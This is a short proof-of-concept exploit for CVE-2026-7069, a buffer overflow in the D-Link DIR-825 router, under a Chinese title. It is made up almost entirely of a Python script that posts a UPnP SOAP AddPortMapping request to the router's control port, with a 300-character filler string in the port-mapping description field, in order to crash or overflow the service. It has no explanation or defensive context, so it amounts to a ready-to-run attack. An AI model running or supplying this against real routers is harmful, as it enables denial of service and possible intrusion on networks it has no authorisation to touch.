CVE-2026-7069 D-Link DIR-825缓冲区溢出漏洞

import requests # Target configuration target_ip = "192.168.0.1" # Common UPnP control port for D-Link devices (varies by model) target_port = 49152 url = f"http://{target_ip}:{target_port}/ctl/IPConn" # Malicious payload to trigger buffer overflow # Adjust length based on specific buffer size in firmware payload = "A" * 300 # Construct SOAP request to exploit AddPortMapping soap_body = f"""<?xml version="1.0"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"> <NewRemoteHost></NewRemoteHost> <NewExternalPort>12345</NewExternalPort> <NewProtocol>TCP</NewProtocol> <NewInternalPort>12345</NewInternalPort> <NewInternalClient>192.168.0.100</NewInternalClient> <NewEnabled>1</NewEnabled> <NewPortMappingDescription>{payload}</NewPortMappingDescription> <NewLeaseDuration>0</NewLeaseDuration> </u:AddPortMapping> </s:Body> </s:Envelope>""" headers = { 'Content-Type': 'text/xml', 'SOAPAction': '"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"' } try: print(f"Sending exploit payload to {target_ip}...") response = requests.post(url, data=soap_body, headers=headers, timeout=5) print(f"Response Status: {response.status_code}") print("If the service crashes or hangs, the exploit likely worked.") except Exception as e: print(f"Exception occurred (Service may have crashed): {e}")